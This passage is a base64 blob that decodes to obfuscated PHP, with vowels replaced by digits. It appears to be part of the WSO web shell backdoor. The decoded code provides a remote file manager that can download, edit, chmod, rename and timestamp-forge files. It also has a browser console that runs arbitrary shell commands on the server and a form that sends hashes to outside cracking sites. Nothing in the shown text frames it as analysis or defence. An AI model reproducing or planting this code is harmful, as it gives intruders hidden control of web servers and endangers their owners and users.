T1NUWydwNiddLCAkc3RyNG5nVDIybHMpKQ0KCQkJNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ3N0ck8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIDApOw0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TdHI0bmcgYzJudjVyczQybnM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCTVjaDIgIjxmMnJtIG4xbTU9J3QyMmxzRjJybScgMm5TM2JtNHQ9JzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO30gcjV0M3JuIGYxbHM1Oyc+PHM1bDVjdCBuMW01PSdzNWw1Y3RUMjJsJz4iOw0KCWYycjUxY2goJHN0cjRuZ1QyMmxzIDFzICRrID0+ICR2KQ0KCQk1Y2gyICI8MnB0NDJuIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiInPiIuJGsuIjwvMnB0NDJuPiI7DQoJCTVjaDIgIjwvczVsNWN0Pjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+PicvPiA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAiLihAJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KCX0NCgk1Y2gyIjwvcHI1PjwvZDR2Pjxicj48aDY+UzUxcmNoIGY0bDVzOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCQk8ZjJybSAybnMzYm00dD1cImcobjNsbCx0aDRzLmN3ZC52MWwzNSxuM2xsLHRoNHMudDV4dC52MWwzNSx0aDRzLmY0bDVuMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHQxYmw1IGM1bGxwMWRkNG5nPSc2JyBjNWxsc3AxYzRuZz0nMCcgdzRkdGg9J2kwJSc+DQoJCQk8dHI+PHRkIHc0ZHRoPSc2JSc+VDV4dDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ndDV4dCcgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+UDF0aDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nY3dkJyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5OMW01OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdmNGw1bjFtNScgdjFsMzU9JyonIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPg0KCQkJPC90MWJsNT48L2Yycm0+IjsNCg0KCWYzbmN0NDJuIHdzMlI1YzNyczR2NUdsMmIoJHAxdGgpIHsNCgkJNGYoczNic3RyKCRwMXRoLCAtNikgIT0gJy8nKQ0KCQkJJHAxdGguPScvJzsNCgkJJHAxdGhzID0gQDFycjF5XzNuNHEzNShAMXJyMXlfbTVyZzUoQGdsMmIoJHAxdGguJF9QT1NUWydwbyddKSwgQGdsMmIoJHAxdGguJyonLCBHTE9CX09OTFlESVIpKSk7DQoJCTRmKDRzXzFycjF5KCRwMXRocykmJkBjMjNudCgkcDF0aHMpKSB7DQoJCQlmMnI1MWNoKCRwMXRocyAxcyAkNHQ1bSkgew0KCQkJCTRmKEA0c19kNHIoJDR0NW0pKXsNCgkJCQkJNGYoJHAxdGghPSQ0dDVtKQ0KCQkJCQkJd3MyUjVjM3JzNHY1R2wyYigkNHQ1bSk7DQoJCQkJfSA1bHM1IHsNCgkJCQkJNGYoNW1wdHkoJF9QT1NUWydwYSddKSB8fCBAc3RycDJzKGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgJF9QT1NUWydwYSddKSE9PWYxbHM1KQ0KCQkJCQkJNWNoMiAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIixuM2xsLFwiIi4zcmw1bmMyZDUoJDR0NW0pLiJcIiwgXCJ2NDV3XCIsXCJcIiknPiIuaHRtbHNwNWM0MWxjaDFycygkNHQ1bSkuIjwvMT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJNGYoQCRfUE9TVFsncG8nXSkNCgkJd3MyUjVjM3JzNHY1R2wyYigkX1BPU1RbJ2MnXSk7DQoJNWNoMiAiPC9kNHY+PGJyPjxoNj5TNTFyY2ggZjJyIGgxc2g6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIG01dGgyZD0ncDJzdCcgdDFyZzV0PSdfYmwxbmsnIG4xbTU9J2hmJz4NCgkJCTw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdoMXNoJyBzdHlsNT0ndzRkdGg6YTAwcHg7Jz48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PScxY3QnIHYxbDM1PSdmNG5kJy8+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrNG5nLnIzJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy5yMy80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdjcjFja2Yyci5tNScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL2NyMWNrZjJyLm01LzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCTwvZjJybT48L2Q0dj4iOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgew0KCTRmKCA0c3M1dCgkX1BPU1RbJ3A2J10pICkNCgkJJF9QT1NUWydwNiddID0gM3JsZDVjMmQ1KCRfUE9TVFsncDYnXSk7DQoJNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KCQk0ZihANHNfZjRsNSgkX1BPU1RbJ3A2J10pICYmIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQoJCQloNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuYjFzNW4xbTUoJF9QT1NUWydwNiddKSk7DQoJCQk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCJtNG01X2MybnQ1bnRfdHlwNSIpKSB7DQoJCQkJJHR5cDUgPSBAbTRtNV9jMm50NW50X3R5cDUoJF9QT1NUWydwNiddKTsNCgkJCQloNTFkNXIoIkMybnQ1bnQtVHlwNTogIiAuICR0eXA1KTsNCgkJCX0gNWxzNQ0KICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0iKTsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICJyIik7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSghQGY1MmYoJGZwKSkNCgkJCQkJNWNoMiBAZnI1MWQoJGZwLCA2MGF1KTsNCgkJCQlmY2wyczUoJGZwKTsNCgkJCX0NCgkJfTV4NHQ7DQoJfQ0KCTRmKCBAJF9QT1NUWydwYSddID09ICdta2Y0bDUnICkgew0KCQk0ZighZjRsNV81eDRzdHMoJF9QT1NUWydwNiddKSkgew0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3cnKTsNCgkJCTRmKCRmcCkgew0KCQkJCSRfUE9TVFsncGEnXSA9ICI1ZDR0IjsNCgkJCQlmY2wyczUoJGZwKTsNCgkJCX0NCgkJfQ0KCX0NCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+RjRsNSB0MjJsczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNGYoICFmNGw1XzV4NHN0cyhAJF9QT1NUWydwNiddKSApIHsNCgkJNWNoMiAnRjRsNSBuMnQgNXg0c3RzJzsNCgkJd3MyRjIydDVyKCk7DQoJCXI1dDNybjsNCgl9DQoJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSkpOw0KCTRmKCEkMzRkKSB7DQoJCSQzNGRbJ24xbTUnXSA9IEBmNGw1MnduNXIoJF9QT1NUWydwNiddKTsNCgkJJGc0ZFsnbjFtNSddID0gQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pOw0KCX0gNWxzNSAkZzRkID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKSk7DQoJNWNoMiAnPHNwMW4+TjFtNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycyhAYjFzNW4xbTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5TNHo1Ojwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3dzMlY0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy53czJQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5Pd241ci9HcjIzcDo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KCTVjaDIgJzxzcDFuPkNyNTF0NSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNWN0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+QWNjNXNzIHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1MXQ0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5NMmQ0ZnkgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkX1BPU1RbJ3A2J10pKS4nPGJyPjxicj4nOw0KCTRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCgkJJF9QT1NUWydwYSddID0gJ3Y0NXcnOw0KCTRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KCQkkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0VkNHQnLCAnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJNWxzNQ0KCQkkbSA9IDFycjF5KCdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCglmMnI1MWNoKCRtIDFzICR2KQ0KCQk1Y2gyICc8MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsXCcnLnN0cnQybDJ3NXIoJHYpLidcJykiPicuKChzdHJ0MmwydzVyKCR2KT09QCRfUE9TVFsncGEnXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICc1ZDR0JzoNCgkJCTRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJCTVjaDIgJ0Y0bDUgNHNuXCd0IHdyNHQ1MWJsNSc7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBAZjRsNW10NG01KCRfUE9TVFsncDYnXSk7DQoJCQkJJF9QT1NUWydwbyddID0gczNic3RyKCRfUE9TVFsncG8nXSw2KTsNCgkJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCJ3Iik7DQoJCQkJNGYoJGZwKSB7DQoJCQkJCUBmd3I0dDUoJGZwLCRfUE9TVFsncG8nXSk7DQoJCQkJCUBmY2wyczUoJGZwKTsNCgkJCQkJNWNoMiAnUzF2NWQhPGJyPjxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0Pic7DQoJCQkJCUB0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpOw0KCQkJCX0NCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLFwnNlwnK3RoNHMudDV4dC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9dDV4dCBjbDFzcz1iNGcxcjUxPic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g1eGQzbXAnOg0KCQkJJGMgPSBAZjRsNV9nNXRfYzJudDVudHMoJF9QT1NUWydwNiddKTsNCgkJCSRuID0gMDsNCgkJCSRoID0gMXJyMXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KCQkJJGw1biA9IHN0cmw1bigkYyk7DQoJCQlmMnIgKCQ0PTA7ICQ0PCRsNW47ICsrJDQpIHsNCgkJCQkkaFs2XSAuPSBzcHI0bnRmKCclMGFYJywycmQoJGNbJDRdKSkuJyAnOw0KCQkJCXN3NHRjaCAoIDJyZCgkY1skNF0pICkgew0KCQkJCQljMXM1IDA6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQljMXM1IDk6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQljMXM1IDYwOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQljMXM1IDZvOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQlkNWYxM2x0OiAkaFthXSAuPSAkY1skNF07IGJyNTFrOw0KCQkJCX0NCgkJCQkkbisrOw0KCQkJCTRmICgkbiA9PSBvYSkgew0KCQkJCQkkbiA9IDA7DQoJCQkJCTRmICgkNCs2IDwgJGw1bikgeyRoWzBdIC49IHNwcjRudGYoJyUwOFgnLCQ0KzYpLic8YnI+Jzt9DQoJCQkJCSRoWzZdIC49ICc8YnI+JzsNCgkJCQkJJGhbYV0gLj0gIlxuIjsNCgkJCQl9DQoJCSAJfQ0KCQkJNWNoMiAnPHQxYmw1IGM1bGxzcDFjNG5nPTYgYzVsbHAxZGQ0bmc9aSBiZ2MybDJyPSNhYWFhYWE+PHRyPjx0ZCBiZ2MybDJyPSNvb29vb28+PHNwMW4gc3R5bDU9ImYybnQtdzU0Z2h0OiBuMnJtMWw7Ij48cHI1PicuJGhbMF0uJzwvcHI1Pjwvc3Axbj48L3RkPjx0ZCBiZ2MybDJyPSNhOGE4YTg+PHByNT4nLiRoWzZdLic8L3ByNT48L3RkPjx0ZCBiZ2MybDJyPSNvb29vb28+PHByNT4nLmh0bWxzcDVjNDFsY2gxcnMoJGhbYV0pLic8L3ByNT48L3RkPjwvdHI+PC90MWJsNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ3I1bjFtNSc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKQ0KCQkJCQk1Y2gyICdDMW5cJ3QgcjVuMW01ITxicj4nOw0KCQkJCTVsczUNCgkJCQkJZDQ1KCc8c2NyNHB0PmcobjNsbCxuM2xsLCInLjNybDVuYzJkNSgkX1BPU1RbJ3BvJ10pLiciLG4zbGwsIiIpPC9zY3I0cHQ+Jyk7DQoJCQl9DQoJCQk1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICd0MjNjaCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBzdHJ0MnQ0bTUoJF9QT1NUWydwbyddKTsNCgkJCQk0ZigkdDRtNSkgew0KCQkJCQk0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkNCgkJCQkJCTVjaDIgJ0YxNGwhJzsNCgkJCQkJNWxzNQ0KCQkJCQkJNWNoMiAnVDIzY2g1ZCEnOw0KCQkJCX0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsXCcnIC4gM3JsNW5jMmQ1KCRfUE9TVFsncDYnXSkgLiAnXCcsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0JywgdHIzNSk7DQogICAgICAgICRfUE9TVFsncDYnXSAuPSAnIGE+JjYnOw0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnLCAwKTsNCg0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KCQlXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnLCB0cjM1KTsNCgkJMmJfc3QxcnQoKTsNCgkJNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KCQkkdDVtcCA9IEA0YzJudigkX1BPU1RbJ2NoMXJzNXQnXSwgJ1VURi04JywgMWRkY3NsMXNoNXMoIlxuJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KCQk0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpCXsNCgkJCTRmKEBjaGQ0cigkbTF0Y2hbNl0pKSB7DQoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KCQkJCTVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KCQkJfQ0KCQl9DQoJCTVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOw0KCQk1Y2gyICJkLmNmLjIzdHAzdC5zY3IybGxUMnAgPSBkLmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCgkJJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4JywgMCk7DQoJd3MySDUxZDVyKCk7DQogICAgNWNoMiAiPHNjcjRwdD4NCjRmKHc0bmQydy5FdjVudCkgdzRuZDJ3LmMxcHQzcjVFdjVudHMoRXY1bnQuS0VZRE9XTik7DQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7DQp2MXIgYzNyID0gMDsNCmYzbmN0NDJuIGtwKDUpIHsNCgl2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsNCgk0ZihuID09IG84KSB7DQoJCWMzci0tOw0KCQk0ZihjM3I+PTApDQoJCQlkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQoJCTVsczUNCgkJCWMzcisrOw0KCX0gNWxzNSA0ZihuID09IHUwKSB7DQoJCWMzcisrOw0KCQk0ZihjM3IgPCBjbWRzLmw1bmd0aCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyLS07DQoJfQ0KfQ0KZjNuY3Q0Mm4gMWRkKGNtZCkgew0KCWNtZHMucDJwKCk7DQoJY21kcy5wM3NoKGNtZCk7DQoJY21kcy5wM3NoKCcnKTsNCgljM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCgk1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQuY2YuY21kLnYxbDM1PT1cJ2NsNTFyXCcpe2QuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7DQoJZjJyNTFjaCgkR0xPQkFMU1snMWw0MXM1cyddIDFzICRuID0+ICR2KSB7DQoJCTRmKCR2ID09ICcnKSB7DQoJCQk1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7DQoJCQljMm50NG4zNTsNCgkJfQ0KCQk1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7DQoJfQ0KCQ0KCTVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy